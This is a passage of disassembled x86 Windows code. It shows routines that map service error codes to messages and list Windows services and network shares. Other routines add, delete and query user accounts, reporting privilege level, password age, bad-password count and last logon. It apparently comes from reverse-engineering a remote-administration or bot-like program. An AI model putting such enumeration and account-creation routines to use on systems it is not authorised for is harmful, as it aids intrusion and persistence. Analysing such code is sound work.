		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40E1DA
		dec	ecx
		dec	ecx
		jz	short loc_40E1D0
		dec	ecx
		jz	short loc_40E1C6
		sub	ecx, 51h
		jz	short loc_40E1BC
		sub	ecx, 24h
		jnz	loc_40E2A1	; default
					; jumptable 0040E248 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40E293
; ---------------------------------------------------------------------------


loc_40E1BC:				; CODE XREF: sub_40E176+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40E293
; ---------------------------------------------------------------------------


loc_40E1C6:				; CODE XREF: sub_40E176+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40E293
; ---------------------------------------------------------------------------


loc_40E1D0:				; CODE XREF: sub_40E176+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40E293
; ---------------------------------------------------------------------------


loc_40E1DA:				; CODE XREF: sub_40E176+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40E293
; ---------------------------------------------------------------------------


loc_40E1E4:				; CODE XREF: sub_40E176+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40E293
; ---------------------------------------------------------------------------


loc_40E1EE:				; CODE XREF: sub_40E176+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40E21D
		dec	ecx
		jz	short loc_40E216
		dec	ecx
		jz	short loc_40E20F
		dec	ecx
		jnz	loc_40E2A1	; default
					; jumptable 0040E248 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40E293
; ---------------------------------------------------------------------------


loc_40E20F:				; CODE XREF: sub_40E176+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40E176+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E21D:				; CODE XREF: sub_40E176+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E224:				; CODE XREF: sub_40E176+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E22B:				; CODE XREF: sub_40E176+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40E2A1 ; default
					; jumptable 0040E248 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40E28E
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40E2A1 ; default
					; jumptable 0040E248 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_40E2E2[ecx]
		jmp	ds:off_40E2BA[ecx*4] ; switch jump


loc_40E24F:				; DATA XREF: seg000:off_40E2BAo
		push	offset aTheSpecifiedDa ; jumptable 0040E248 case 7
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E256:				; CODE XREF: sub_40E176+D2j
					; DATA XREF: seg000:off_40E2BAo
		push	offset aTheServiceDepe ; jumptable 0040E248 case 17
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E25D:				; CODE XREF: sub_40E176+D2j
					; DATA XREF: seg000:off_40E2BAo
		push	offset aTheServiceDe_0 ; jumptable 0040E248 case 10
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E264:				; CODE XREF: sub_40E176+D2j
					; DATA XREF: seg000:off_40E2BAo
		push	offset aTheServiceHasB ; jumptable 0040E248 case 0
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E26B:				; CODE XREF: sub_40E176+D2j
					; DATA XREF: seg000:off_40E2BAo
		push	offset aTheSpecified_0 ; jumptable 0040E248 case 2
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E272:				; CODE XREF: sub_40E176+D2j
					; DATA XREF: seg000:off_40E2BAo
		push	offset aTheServiceCoul ; jumptable 0040E248 case 11
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E279:				; CODE XREF: sub_40E176+D2j
					; DATA XREF: seg000:off_40E2BAo
		push	offset aTheServiceHa_0 ; jumptable 0040E248 case 14
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E280:				; CODE XREF: sub_40E176+D2j
					; DATA XREF: seg000:off_40E2BAo
		push	offset aTheRequested_1 ; jumptable 0040E248 case 3
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E287:				; CODE XREF: sub_40E176+D2j
					; DATA XREF: seg000:off_40E2BAo
		push	offset aTheServiceHasN ; jumptable 0040E248 case 4
		jmp	short loc_40E293
; ---------------------------------------------------------------------------


loc_40E28E:				; CODE XREF: sub_40E176+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40E293:				; CODE XREF: sub_40E176+41j
					; sub_40E176+4Bj ...
		push	offset dword_45E020
		call	sub_4104AF
		pop	ecx
		pop	ecx
		jmp	short loc_40E2B4
; ---------------------------------------------------------------------------


loc_40E2A1:				; CODE XREF: sub_40E176+36j
					; sub_40E176+89j ...
		push	eax		; default
					; jumptable 0040E248 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_45E020
		call	sub_4104AF
		add	esp, 0Ch


loc_40E2B4:				; CODE XREF: sub_40E176+129j
		mov	eax, offset dword_45E020
		retn
sub_40E176	endp

; ---------------------------------------------------------------------------
off_40E2BA	dd offset loc_40E264	; DATA XREF: sub_40E176+D2r
		dd offset loc_40E26B	; jump table for switch	statement
		dd offset loc_40E280
		dd offset loc_40E287
		dd offset loc_40E24F
		dd offset loc_40E25D
		dd offset loc_40E272
		dd offset loc_40E279
		dd offset loc_40E256
		dd offset loc_40E2A1
byte_40E2E2	db	0,     9,     1,     2 ; DATA XREF: sub_40E176+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E2F4	proc near		; CODE XREF: seg000:0040A7CBp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_42FA0C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40E32C:				; CODE XREF: sub_40E2F4+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_42F9D8
		test	eax, eax
		jnz	short loc_40E366
		call	ds:dword_41C060	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40E41A


loc_40E366:				; CODE XREF: sub_40E2F4+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40E411
		lea	esi, [ebp+var_188]


loc_40E377:				; CODE XREF: sub_40E2F4+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40E3C0
		dec	eax
		jz	short loc_40E3B9
		dec	eax
		jz	short loc_40E3B2
		dec	eax
		jz	short loc_40E3AB
		dec	eax
		jz	short loc_40E3A4
		dec	eax
		jz	short loc_40E39D
		dec	eax
		jz	short loc_40E396
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_40E3C5
; ---------------------------------------------------------------------------


loc_40E396:				; CODE XREF: sub_40E2F4+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40E3C5
; ---------------------------------------------------------------------------


loc_40E39D:				; CODE XREF: sub_40E2F4+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40E3C5
; ---------------------------------------------------------------------------


loc_40E3A4:				; CODE XREF: sub_40E2F4+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40E3C5
; ---------------------------------------------------------------------------


loc_40E3AB:				; CODE XREF: sub_40E2F4+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_40E3C5
; ---------------------------------------------------------------------------


loc_40E3B2:				; CODE XREF: sub_40E2F4+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40E3C5
; ---------------------------------------------------------------------------


loc_40E3B9:				; CODE XREF: sub_40E2F4+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40E3C5
; ---------------------------------------------------------------------------


loc_40E3C0:				; CODE XREF: sub_40E2F4+87j
		push	offset aStopped	; "    Stopped"


loc_40E3C5:				; CODE XREF: sub_40E2F4+A0j
					; sub_40E2F4+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4104AF
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40E377


loc_40E411:				; CODE XREF: sub_40E2F4+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40E32C


loc_40E41A:				; CODE XREF: sub_40E2F4+6Cj
		push	[ebp+var_C]
		call	ds:dword_42F91C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40E2F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E431	proc near		; CODE XREF: seg000:loc_40A882p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40E4CA
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40E45A
		dec	eax
		jnz	short loc_40E4AA
		push	edi
		push	0
		call	sub_40E603
		pop	ecx
		pop	ecx
		jmp	short loc_40E4A6
; ---------------------------------------------------------------------------


loc_40E45A:				; CODE XREF: sub_40E431+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40E498
		push	24h
		push	edi
		call	sub_4126F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E498
		push	57h
		pop	eax


loc_40E471:				; CODE XREF: sub_40E431+77j
		push	eax
		call	sub_40EDDB
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_45E2DC
		push	ds:off_42C0D0[eax*4]
		push	offset dword_42C7DC
		push	esi
		call	sub_4104AF
		add	esp, 18h
		jmp	short loc_40E4EA
; ---------------------------------------------------------------------------


loc_40E498:				; CODE XREF: sub_40E431+2Dj
					; sub_40E431+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40E557
		add	esp, 0Ch


loc_40E4A6:				; CODE XREF: sub_40E431+27j
		test	eax, eax
		jnz	short loc_40E471


loc_40E4AA:				; CODE XREF: sub_40E431+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_45E2DC
		push	ds:off_42C0D4[eax*4]
		push	offset dword_42C7AC
		push	esi
		call	sub_4104AF
		add	esp, 10h
		jmp	short loc_40E4EA
; ---------------------------------------------------------------------------


loc_40E4CA:				; CODE XREF: sub_40E431+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_45E2DC
		lea	eax, [eax+eax*2]
		push	ds:off_42C0D0[eax*4]
		push	offset dword_42C774
		push	esi
		call	sub_4104AF
		add	esp, 0Ch


loc_40E4EA:				; CODE XREF: sub_40E431+65j
					; sub_40E431+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40E431	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4F0	proc near		; CODE XREF: sub_40F920+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40E4FD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E4FD:				; CODE XREF: sub_40E4F0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_41C128
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi ; dword_41C128
		test	ds:byte_45E4DC,	1
		mov	ebp, eax
		jnz	short loc_40E53A
		or	ds:byte_45E4DC,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4114E5
		pop	ecx
		mov	ds:dword_45E27C, eax


loc_40E53A:				; CODE XREF: sub_40E4F0+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_45E27C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi ; dword_41C128
		mov	eax, ds:dword_45E27C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40E4F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E557	proc near		; CODE XREF: sub_40E431+6Dp
					; sub_40FC44+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40E5C2
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40E5C2
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_4126F0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40E5C2
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_42F918
		pop	edi
		leave
		retn
sub_40E557	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E5C2	proc near		; CODE XREF: sub_40E557+Ap
					; sub_40E557+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40E5CF
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40E5CF:				; CODE XREF: sub_40E5C2+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_41C12C
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi ; dword_41C12C
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4114E5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi ; dword_41C12C
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40E5C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E603	proc near		; CODE XREF: sub_40E431+20p
					; sub_40F920+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40E5C2
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40E5C2
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_42F8F0
		pop	esi
		retn
sub_40E603	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E626	proc near		; CODE XREF: seg000:0040A8AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40E5C2
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 18h


loc_40E65F:				; CODE XREF: sub_40E626+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_42F964
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40E6C2
		cmp	ebx, 0EAh
		jz	short loc_40E6C2
		push	ebx
		push	ebx
		call	sub_40EDDB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42C83C
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 24h
		jmp	short loc_40E72F
; ---------------------------------------------------------------------------


loc_40E6C2:				; CODE XREF: sub_40E626+5Dj
					; sub_40E626+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40E726
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40E6D0:				; CODE XREF: sub_40E626+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_42F90C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40E6E7
		mov	eax, offset aNo	; "No"


loc_40E6E7:				; CODE XREF: sub_40E626+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40E6D0
		xor	esi, esi


loc_40E726:				; CODE XREF: sub_40E626+A2j
		push	[ebp+var_4]
		call	ds:dword_42FAA8


loc_40E72F:				; CODE XREF: sub_40E626+9Aj
		cmp	ebx, 0EAh
		jz	loc_40E65F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E626	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E747	proc near		; CODE XREF: seg000:loc_40A924p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40E7EB
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40E789
		dec	eax
		jz	short loc_40E77E
		dec	eax
		jnz	short loc_40E7A4
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40E88D
		add	esp, 14h
		jmp	short loc_40E7A0
; ---------------------------------------------------------------------------


loc_40E77E:				; CODE XREF: sub_40E747+1Dj
		push	ebx
		push	edi
		call	sub_40E86C
		pop	ecx
		pop	ecx
		jmp	short loc_40E7A0
; ---------------------------------------------------------------------------


loc_40E789:				; CODE XREF: sub_40E747+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40E79D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40E812
		add	esp, 0Ch
		jmp	short loc_40E7A0
; ---------------------------------------------------------------------------


loc_40E79D:				; CODE XREF: sub_40E747+45j
		push	57h
		pop	eax


loc_40E7A0:				; CODE XREF: sub_40E747+35j
					; sub_40E747+40j ...
		cmp	eax, edi
		jnz	short loc_40E7C4


loc_40E7A4:				; CODE XREF: sub_40E747+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_45E4E0
		push	ds:off_42C0D4[eax*4]
		push	offset dword_42C92C
		push	esi
		call	sub_4104AF
		add	esp, 10h
		jmp	short loc_40E80B
; ---------------------------------------------------------------------------


loc_40E7C4:				; CODE XREF: sub_40E747+5Bj
		push	eax
		call	sub_40EDDB
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_45E4E0
		push	ds:off_42C0D0[eax*4]
		push	offset dword_42C8EC
		push	esi
		call	sub_4104AF
		add	esp, 18h
		jmp	short loc_40E80B
; ---------------------------------------------------------------------------


loc_40E7EB:				; CODE XREF: sub_40E747+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_45E4E0
		lea	eax, [eax+eax*2]
		push	ds:off_42C0D0[eax*4]
		push	offset dword_42C8B0
		push	esi
		call	sub_4104AF
		add	esp, 0Ch


loc_40E80B:				; CODE XREF: sub_40E747+7Bj
					; sub_40E747+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40E747	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E812	proc near		; CODE XREF: sub_40E747+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40E5C2
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40E5C2
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40E5C2
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_42F8FC
		pop	edi
		leave
		retn
sub_40E812	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E86C	proc near		; CODE XREF: sub_40E747+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40E5C2
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40E5C2
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_42F8EC
		pop	esi
		retn
sub_40E86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E88D	proc near		; CODE XREF: sub_40E747+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40E5C2
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40E5C2
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_42FA70
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40EC1A
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40EC55
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4104AF
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E9A6
		dec	eax
		jz	short loc_40E99F
		dec	eax
		jz	short loc_40E998
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E9AB
; ---------------------------------------------------------------------------


loc_40E998:				; CODE XREF: sub_40E88D+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E9AB
; ---------------------------------------------------------------------------


loc_40E99F:				; CODE XREF: sub_40E88D+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_40E9AB
; ---------------------------------------------------------------------------


loc_40E9A6:				; CODE XREF: sub_40E88D+FCj
		mov	eax, offset aGuest ; "Guest"


loc_40E9AB:				; CODE XREF: sub_40E88D+109j
					; sub_40E88D+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40DFB2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
